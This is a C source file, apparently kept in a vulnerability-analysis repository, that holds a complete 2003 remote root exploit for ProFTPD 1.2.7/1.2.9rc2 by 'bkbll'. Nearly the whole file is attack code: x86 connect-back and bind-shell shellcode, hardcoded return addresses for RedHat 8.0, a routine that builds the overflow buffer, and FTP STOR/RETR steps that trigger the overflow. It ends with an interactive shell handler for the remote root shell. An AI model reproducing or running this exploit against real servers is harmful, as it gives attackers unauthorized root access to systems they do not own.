lilbool/vuln-code-analysis
0
1/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)
2* for FTP_ProFTPD_Translate_Overflow found by X-force
3* happy birthday, China.
4* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.
5* this code want to provied u a method, not finally exploit.
6* using overflow _xlate_ascii_write function return address.
7* because the overflow is before it connecting to our port,so I have no method for using current socket.
8* and I have provied two method:bind port and connect back.
9*/
10#include <stdio.h>
11#include <stdlib.h>
12#include <unistd.h>
13#include <errno.h>
14#include <netdb.h>
15#include <string.h>
16#include <signal.h>
17#include <sys/socket.h>
18#include <sys/types.h>
19#include <sys/time.h>
20#include <sys/select.h>
21#include <netinet/in.h>
22#include <arpa/inet.h>
23
24#define PORT 21
25#define SIZE 1024
26#define BIGSIZE 1024*42
27#define OFFSET 39 //cbshellcode ip & port offset,0 is the first
28#define OFF2 70 //bindshellcode port offset,0 is the first
29#define VER "1.20"
30
31char cbshellcode[]= //from www.netric.org,and modified some code by myself
32"\x31\xc0\x31\xdb\x31\xc9\xb0\x17"
33"\xcd\x80\x31\xc0\x51\xb1\x06\x51"
34"\xb1\x01\x51\xb1\x02\x51\x89\xe1"
35"\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
36"\x31\xc0\x31\xc9\x51\x51\x68\x41"
37"\x42\x43\x44\x66\x68\xb0\xef\xb1"
38"\x02\x66\x51\x90\x89\xe7\xb3\x10"
39"\x53\x57\x52\x89\xe1\xb3\x03\xb0"
40"\x66\xcd\x80\x31\xc9\x39\xc1\x74"
41"\x06\x31\xc0\xb0\x01\xcd\x80\x31"
42"\xc0\xb0\x3f\x89\xd3\xcd\x80\x31"
43"\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd"
44"\x80\x31\xc0\xb0\x3f\x89\xd3\xb1"
45"\x02\xcd\x80\x31\xc9\x51\x68\x6e"
46"\x2f\x73\x68\x68\x2f\x2f\x62\x69"
47"\x89\xe3\x51\x68\x2d\x69\x69\x70"
48"\x89\xe2\x51\x52\x53\x89\xe1\x31"
49"\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
50"\xc0\xb0\x01\xcd\x80";
51char bindshellcode[]= //from www.netric.org,and modified some code by myself
52"\x90\x90\x90\x31\xc0\x31\xdb\x31"
53"\xc9\xb0\x17\xcd\x80\x31\xc0\xb0"
54"\x02\xcd\x80\x39\xc3\x7c\x0c\x31"
55"\xc0\xb0\x02\xcd\x80\x39\xc3\x7c"
56"\x02\xeb\x06\x31\xc0\xb0\x01\xcd"
57"\x80\x51\x31\xc0\x51\xb1\x01\x51"
58"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
59"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
60"\xdb\x50\x50\x50\x66\x68\xb0\xef"
61"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
62"\x53\xb3\x02\x52\x51\x89\xca\x89"
63"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
64"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
65"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
66"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
67"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
68"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
69"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
70"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
71"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
72"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
73"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
74"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
75"\x62\x69\x89\xe3\x51\x68\x2d\x69"
76"\x69\x69\x89\xe2\x51\x52\x53\x89"
77"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
78"\x80";
79
80int sockfd,sockfd1,sockfd2;
81int show=0;
82int mustread=0;
83int getshell=0;
84int pt=6000;
85unsigned int type=1;
86char bindmethod=0;
87char usrstr[]="USER";
88char passtr[]="PASS";
89char ascistr[]="TYPE A";
90char pasvstr[]="PASV";
91char portstr[]="PORT";
92char storstr[]="STOR";
93char retrstr[]="RETR";
94char cmdbuf[SIZE];
95char srvbuf[SIZE];
96char *cbhost=NULL;
97char *server=NULL;
98
99struct
100{
101 char *os;
102 unsigned int ret;
103 int backup; //using for next
104} targets[] =
105 {
106 { "rh8.0 ProFTPD 1.2.8 (stable) 1", 0xbffff25c,0},
107 { "rh8.0 ProFTPD 1.2.8 (stable) 2", 0xbffff22c,0},
108 },v;
109//main() {}
110int sendbuf(int socket,char *buffer,int len);
111int readbuf(char *s,int socket,char *buffer,int len);
112int client_connect(int sockfd,char* server,int port);
113void checkstatus(char *s);
114void retrfile(char *s,int len,int port);
115void storfile(char *s,int len,int port);
116int dealpasv(char *s);
117int setpasv();
118void setport(char *l,int pt1);
119void quit();
120void storbuf(char *filename,char *buf,int size,int port);
121void retrbuf(char *filename,char *buffer,int length,int port1);
122void setascii();
123void loginftp(char *user,char *pass);
124void setfilename(char *s,int len);
125int createbuffer(char *s,int len,int type,char *h);
126int create_serv(int sfd,int port);
127void modify(char *s,char *h,int port3);
128void usage(char *s);
129int execsh(int clifd);
130int checklf(void *s,int len);
131
132main(int argc,char **argv)
133{
134 char buffer[BIGSIZE];
135 char cmdbuf[SIZE];
136 char srvbuf[SIZE];
137 char filename[30];
138 int j,a,b,port1;
139 int total;
140 char c;
141 char *user=NULL;
142 char *pass=NULL;
143 char *localip=NULL;
144
145 if(argc<2) usage(argv[0]);
146 while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF)
147 {
148 switch (c)
149 {
150 case 'd':
151 server=optarg;
152 break;
153 case 't':
154 type = atoi(optarg);
155 if((type > sizeof(targets)/sizeof(v)) || (type < 1))
156 usage(argv[0]);
157 break;
158 case 'u':
159 user=optarg;
160 break;
161 case 'p':
162 pass=optarg;
163 break;
164 case 'l':
165 localip=optarg;
166 break;
167 case 'h':
168 cbhost=optarg;
169 break;
170 case 'o':
171 pt=atoi(optarg) & 0xffff;
172 break;
173 default:
174 usage(argv[0]);
175 return 1;
176 }
177 }
178 if(server==NULL || user==NULL || pass==NULL || localip==NULL)
179 usage(argv[0]);
180 printf("@---------------------------------------------------------@\n");
181 printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER);
182 printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
183 printf("-----------------------------------------------------------\n");
184 printf("[+] Ret address:%p\n",targets[type-1].ret);
185 if(cbhost==NULL)
186 bindmethod=1;
187 else
188 {
189 if((int)inet_addr(cbhost)==-1)
190 {
191 printf("[-] Invalid connect back host/ip\n");
192 exit(0);
193 }
194 bindmethod=0;
195 }
196 port1=34568; //PORTÃüÁîµÄʱºòÔÚ±¾µØ²úÉúµÄÒ»¸ö¶Ë¿Ú.
197 sockfd=sockfd1=sockfd2=0;
198 sockfd=socket(2,1,0);
199 if(client_connect(sockfd,server,PORT)<0) quit();
200 loginftp(user,pass);
201 //port1=setpasv(); //get the pasv port
202 setport(localip,port1);
203 setfilename(filename,30);
204 setascii();
205 total=createbuffer(buffer,BIGSIZE,type,cbhost);
206 //printf("[+] buffer data size:%d\n",total);
207 storbuf(filename,buffer,total,port1);
208 //stor over, then close and reconnect
209 close(sockfd);
210 close(sockfd1);
211 close(sockfd2);
212
213 sockfd=socket(2,1,0);
214 if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect
215 loginftp(user,pass);
216 setascii();
217
218 setport(localip,port1); //get the pasv port,a new one
219 mustread=total;
220 retrbuf(filename,buffer,total,port1);
221 readbuf("The First time read",sockfd,srvbuf,SIZE);
222 port1++;
223 setport(localip,port1);
224 mustread=total;
225 getshell=1;
226
227 retrbuf(filename,buffer,total,port1);
228 quit();
229}
230void setfilename(char *s,int len)
231{
232 int a;
233
234 memset(s,0,len);
235 a=getpid();
236 sprintf(s,"%d%d%d.txt",a,a,a);
237}
238
239void retrfile(char *s,int len,int port)
240{
241 int i,pid;
242 char data1;
243 struct sockaddr_in client;
244
245 memset(&client,0,sizeof(client));
246 sockfd1=socket(2,1,0);
247 if(create_serv(sockfd1,port)<0) quit();
248 i=sizeof(client);
249 sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
250 printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
251 memset(s,0,len);
252 if(getshell==1)
253 {
254 if(bindmethod==0)
255 {
256 printf("[+] Is it a shell on %s:%d?\n",cbhost,pt);
257 quit();
258 }
259 else
260 {
261 printf("[+] Waiting for a shell.....\n");
262 sockfd2=socket(AF_INET,SOCK_STREAM,0);
263 sleep(2);
264 client_connect(sockfd2,server,pt);
265 execsh(sockfd2);
266 quit();
267 }
268 }
269 readbuf(NULL,sockfd2,s,len);
270 close(sockfd2);
271 close(sockfd1);
272
273}
274
275void storfile(char *s,int len,int port)
276{
277 int i;
278 struct sockaddr_in client;
279
280 memset(&client,0,sizeof(client));
281 sockfd1=socket(2,1,0);
282 if(create_serv(sockfd1,port)<0) quit();
283 //if(client_connect(sockfd1,HOST,port)<0) quit();
284 i=sizeof(client);
285 sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
286 printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
287 sendbuf(sockfd2,s,len);
288 close(sockfd2);
289 close(sockfd1);
290}
291void setport(char *l,int pt1)
292{
293 int a,i,b,c,j;
294 char buf[30];
295
296 memset(buf,0,30);
297 i=sprintf(buf,"%s",l);
298 for(a=0;a<i;a++)
299 if(buf[a]=='.') buf[a]=',';
300 memset(cmdbuf,0,SIZE);
301 b=(pt1 >> 8 ) & 0xff;
302 c=pt1 & 0xff;
303 j=sprintf(cmdbuf,"%s %s,%d,%d\r\n",portstr,buf,b,c);
304 printf("[+] %s",cmdbuf);
305 sendbuf(sockfd,cmdbuf,j);
306 readbuf(NULL,sockfd,srvbuf,SIZE);
307 checkstatus(srvbuf);
308}
309
310int dealpasv(char *s)
311{
312 int a,b,c,d,e,f,g;
313 char *p1,*p2,*p3;
314 int i;
315
316 p1=(char *)malloc(100);
317 if(!s)
318 quit();
319 p2=strchr(s,'(');
320 //printf("p2:%s\n",p2);
321 p3=strchr(s,')');
322 //printf("p3:%s\n",p3);
323 p3++;
324 i=p3-p2;
325 memcpy(p1,p2,i);
326 p1[i]='\0';
327 //printf("p1:%s\n",p1);
328 sscanf(p1,"(%d,%d,%d,%d,%d,%d)",&a,&b,&c,&d,&e,&f);
329 //printf("a:%d,b:%d,c:%d,d:%d,e:%d,f:%d\n",a,b,c,d,e,f);
330 g=(e<<8) | f;
331 //printf("port:%d\n",g);
332 free(p1);
333 return g;
334}
335
336void quit()
337{
338 if(sockfd>0)
339 close(sockfd);
340 if(sockfd1>0)
341 close(sockfd);
342 if(sockfd2>0)
343 close(sockfd);
344 exit(0);
345}
346int sendbuf(int socket,char *buffer,int len)
347{
348 int j;
349
350 j=send(socket,buffer,len,0);
351 if(j==0)
352 {
353 printf("[-] server closed the socket\n");
354 quit();
355 }
356 if(j<0)
357 {
358 perror("[-] Send data error");
359 quit();
360 }
361 return j;
362}
363
364int readbuf(char *s,int socket,char *buffer,int len)
365{
366 int a,b,i,j=0;
367
368 a=b=i=0;
369 memset(buffer,0,len);
370 if(s)
371 {
372 printf("[+] %s:",s);
373 fflush(stdout);
374 }
375 //j=lseek(socket,0,2);
376 //printf("j:%d\n",j);
377 if(mustread==0)
378 {
379 j=recv(socket,buffer,len-1,0);
380 if(j==0)
381 {
382 if(s)
383 printf("FAILED\n");
384 printf("[-] server closed the socket\n");
385 quit();
386 }
387 if(j<0)
388 {
389 if(s)
390 printf("FAILED\n");
391 perror("[-] read data error");
392 quit();
393 }
394 if(s)
395 printf("ok\n");
396 buffer[len-1]='\0';
397 if(show==1)
398 printf("<== %s",buffer);
399 }
400 else
401 {
402 //ÎÒÃDz»ÓùØÐÄ·µ»ØһЩʲôÊý¾Ý
403 b=mustread-i;
404 while(b>0)
405 {
406
407 a=b>(len-1)?(len-1):b;
408 i=recv(socket,buffer,a,0);
409 if(i==0)
410 {
411 if(s)
412 printf("FAILED\n");
413 printf("[-] server closed the socket\n");
414 quit();
415 }
416 if(i<0)
417 {
418 if(s)
419 printf("FAILED\n");
420 perror("[-] read data error");
421 quit();
422 }
423 if(s)
424 printf("ok\n");
425 b-=i;
426 j+=i;
427 }
428 //printf("j:%d,mustread:%d\n",j,mustread);
429 if(j!=mustread)
430 {
431 printf("read failed\n");
432 quit();
433 }
434 }
435 //show=0;
436 mustread=0;
437 return j;
438}
439
440int client_connect(int sockfd,char* server,int port)
441{
442 struct sockaddr_in cliaddr;
443 struct hostent *host;
444
445 if((host=gethostbyname(server))==NULL)
446 {
447 printf("gethostbyname(%s) error\n",server);
448 return(-1);
449 }
450
451 bzero(&cliaddr,sizeof(struct sockaddr));
452 cliaddr.sin_family=AF_INET;
453 cliaddr.sin_port=htons(port);
454 cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
455 printf("[+] Trying %s:%d....",server,port);
456 fflush(stdout);
457 if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
458 {
459 printf("error:%s\r\n",strerror(errno));
460 close(sockfd);
461 return(-1);
462 }
463 printf("ok\r\n");
464 return(0);
465}
466
467void checkstatus(char *s)
468{
469 if(s==NULL)
470 quit();
471 if(isdigit(*s))
472 {
473 if(s[0]=='5')
474 {
475 printf("[-] Server told:%s\n",s);
476 quit();
477 }
478 else
479 return;
480 }
481 printf("[-] Server said:%s\n",s);
482 quit();
483}
484
485void loginftp(char *user,char *pass)
486{
487 int j;
488
489 show=1;
490 readbuf("Get banner",sockfd,srvbuf,SIZE);
491 show=0;
492 memset(cmdbuf,0,SIZE);
493 //USER
494 j=sprintf(cmdbuf,"%s %s\r\n",usrstr,user);
495 sendbuf(sockfd,cmdbuf,j);
496 readbuf(NULL,sockfd,srvbuf,SIZE);
497 checkstatus(srvbuf);
498 //PASS
499 memset(cmdbuf,0,SIZE);
500 j=sprintf(cmdbuf,"%s %s\r\n",passtr,pass);
501 sendbuf(sockfd,cmdbuf,j);
502 readbuf(NULL,sockfd,srvbuf,SIZE);
503 checkstatus(srvbuf);
504 printf("[+] User %s logged in\n",user);
505}
506
507int setpasv()
508{
509 int j,port1;
510
511 memset(cmdbuf,0,SIZE);
512 j=sprintf(cmdbuf,"%s\r\n",pasvstr);
513 sendbuf(sockfd,cmdbuf,j);
514 readbuf("Set PASV",sockfd,srvbuf,SIZE);
515 checkstatus(srvbuf);
516 port1=dealpasv(srvbuf); //get the pasv port
517 return port1;
518}
519
520void setascii()
521{
522 int j;
523
524 memset(cmdbuf,0,SIZE);
525 j=sprintf(cmdbuf,"%s\r\n",ascistr);
526 sendbuf(sockfd,cmdbuf,j);
527 readbuf(NULL,sockfd,srvbuf,SIZE);
528 checkstatus(srvbuf);
529
530}
531
532void storbuf(char *filename,char *buf,int size,int port)
533{
534 int j;
535
536 printf("[+] STOR file %s\n",filename);
537 memset(cmdbuf,0,SIZE);
538 j=sprintf(cmdbuf,"%s %s\r\n",storstr,filename);
539 sendbuf(sockfd,cmdbuf,j);
540 storfile(buf,size,port);
541 //check if the content is send overd
542 readbuf(NULL,sockfd,srvbuf,SIZE);
543 checkstatus(srvbuf);
544}
545
546void retrbuf(char *filename,char *buffer,int length,int port1)
547{
548 int j;
549
550 printf("[+] RETR file %s\n",filename);
551 memset(cmdbuf,0,SIZE);
552 j=sprintf(cmdbuf,"%s %s\r\n",retrstr,filename);
553 sendbuf(sockfd,cmdbuf,j);
554
555 retrfile(buffer,length,port1);
556 readbuf(NULL,sockfd,srvbuf,SIZE);
557 checkstatus(srvbuf);
558}
559
560int createbuffer(char *s,int len,int type,char *h)
561{
562 int i,a,total;
563 char buf[41];
564 unsigned int writeaddr=targets[type-1].ret;
565
566 writeaddr-=4;
567 if(checklf((void *)&writeaddr,4)<0)
568 {
569 printf("[-] Sorry, the ret addr %p=%p-4 have '\\n' char.\n",writeaddr,writeaddr+4);
570 quit();
571 }
572 a=i=0;
573 memset(s,0,len);
574 i+=3;
575 *(unsigned int *)(s+i)=writeaddr+7*4;
576 i+=4;
577 *(unsigned int *)(s+i)=writeaddr-0x600;
578 i+=4;
579 *(unsigned int *)(s+i)=writeaddr-0x400;
580 i+=4;
581 *(unsigned int *)(s+i)=writeaddr-0x200;
582 i+=4;
583 *(unsigned int *)(s+i)=writeaddr-0x300;
584 i+=4;
585 *(unsigned int *)(s+i)=0x0;
586 i+=4;
587 *(unsigned int *)(s+i)=0x90900eeb;
588 i+=4;
589 *(unsigned int *)(s+i)=0x0;
590 i+=4;
591 *(unsigned int *)(s+i)=0x0;
592 i+=4;
593 *(unsigned int *)(s+i)=0x0;
594 i+=4;
595 //connectback shellcode,modified ip & port
596 if(bindmethod==0)
597 {
598 modify(cbshellcode,h,pt);
599 memcpy(s+i,cbshellcode,strlen(cbshellcode));
600 i+=strlen(cbshellcode);
601 }
602 else
603 {
604 modify(bindshellcode,NULL,pt);
605 memcpy(s+i,bindshellcode,strlen(bindshellcode));
606 i+=strlen(bindshellcode);
607 }
608 memset(s+i,'Z',512-i);
609 memset(s+512,'\n',512);
610 total=1024;
611 memset(buf,0,41);
612 i=0;
613 memset(buf,'\n',20);
614 i+=20;
615 *(unsigned int *)(buf+i)=writeaddr;
616 i+=4;
617 *(unsigned int *)(buf+i)=writeaddr;
618 i+=4;
619 *(unsigned int *)(buf+i)=writeaddr+0x800; //here,the value must great than 0x600
620 i+=4;
621 *(unsigned int *)(buf+i)=writeaddr;
622 i+=4;
623 *(unsigned int *)(buf+i)=writeaddr;
624 //showmem(buf,40);
625 for(i=0;i<1024;i++)
626 {
627 a=(i*40)+1024;
628 memcpy(s+a,buf,40);
629 total+=40;
630 }
631 return total;
632}
633
634int create_serv(int sfd,int port)
635{
636 struct sockaddr_in srvaddr;
637 int on=1;
638
639 bzero(&srvaddr,sizeof(struct sockaddr));
640 srvaddr.sin_port=htons(port);
641 srvaddr.sin_family=AF_INET;
642 srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
643 printf("[+] Listening on %d ....",port);
644 fflush(stdout);
645 setsockopt(sfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); //so I can rebind the port
646 if(bind(sfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
647 {
648 printf("FAILED\n");
649 perror("[-] Bind port error");
650 return(-1);
651 }
652 if(listen(sfd,5)<0)
653 {
654 printf("FAILED\n");
655 perror("[-] Listen error");
656 return(-1);
657 }
658 printf("ok\n");
659 return(0);
660}
661
662void modify(char *s,char *h,int port3)
663{
664 int a,b,c,d;
665 if(h!=NULL)
666 {
667 sscanf(h,"%d.%d.%d.%d",&a,&b,&c,&d);
668 a&=0xff;
669 b&=0xff;
670 c&=0xff;
671 d&=0xff;
672 if((char)a=='\n' || (char)b=='\n' || (char)c=='\n' || (char)d=='\n')
673 {
674 printf("[-] Sorry, the connect back ip:%s have '\\n' char\n",h);
675 }
676 s[OFFSET] = a & 0xff;
677 s[OFFSET+1] = b & 0xff;
678 s[OFFSET+2] = c & 0xff;
679 s[OFFSET+3] = d & 0xff;
680
681 a=port3 >> 8 & 0xff;
682 b=port3 & 0xff;
683 if((char)a=='\n' || (char)b=='\n')
684 {
685 printf("[-] Sorry, the connect back port:%d have '\\n' char\n",port3);
686 quit();
687 }
688 s[OFFSET+6]=a;
689 s[OFFSET+7]=b;
690 }
691 else
692 {
693 a=port3 >> 8 & 0xff;
694 b=port3 & 0xff;
695 if((char)a=='\n' || (char)b=='\n')
696 {
697 printf("[-] Sorry, the bind port:%d have '\\n' char\n",port3);
698 quit();
699 }
700 s[OFF2]=a;
701 s[OFF2+1]=b;
702 }
703}
704void usage(char *s)
705{
706 unsigned int a;
707 char *p;
708 int d=strlen(s)+1;
709
710 p=(char *)malloc(d);
711 memset(p,0x20,d-1);
712 p[d-1]=0;
713 printf("@---------------------------------------------------------@\n");
714 printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER);
715 printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
716 printf("-----------------------------------------------------------\n");
717 printf("Usage:%s -d <host> -u <user> -p <pass> -t <type>\n",s);
718 printf(" %s -l <local ip> -h <cbip> -o <cbport>\n",p);
719 printf("Arguments:\n");
720 printf(" -d target host ip/name\n");
721 printf(" -u user name\n");
722 printf(" -p user paasword\n");
723 printf(" -l the ip of this machine u used\n");
724 printf(" -h connect back ip\n");
725 printf(" -o connect back port/bind port\n");
726 printf(" -t target type [default:%d]\n",type);
727 printf(" ------------------------------\n");
728 for(a = 0; a < sizeof(targets)/sizeof(v); a++)
729 printf(" %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);
730 printf("\n");
731 free(p);
732 exit(0);
733}
734
735int execsh(int clifd)
736{
737 fd_set fds;
738 int count;
739 char buffer[SIZE];
740 memset(buffer,0,SIZE);
741 while(1)
742 {
743 FD_ZERO(&fds);
744 FD_SET(0, &fds);
745 FD_SET(clifd, &fds);
746
747 if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
748 {
749 if (errno == EINTR) continue;
750 break;
751 }
752 if (FD_ISSET(0, &fds))
753 {
754 count = read(0, buffer, SIZE);
755 if (count <= 0) break;
756 if (write(clifd, buffer, count) <= 0) break;
757 memset(buffer,0,SIZE);
758 }
759 if (FD_ISSET(clifd, &fds))
760 {
761 count = read(clifd, buffer, SIZE);
762 if (count <= 0) break;
763 if (write(1, buffer, count) <= 0) break;
764 memset(buffer,0,SIZE);
765 }
766
767 }
768}
769
770int checklf(void *sd,int len)
771{
772 char *a;
773 int i=0;
774
775 a=(char *)sd;
776 for(i=0;i<len;i++)
777 if(*(a+i)=='\n') //found it
778 return -1;
779 return 0;
780}
781
782
783
784// milw0rm.com [2003-10-04]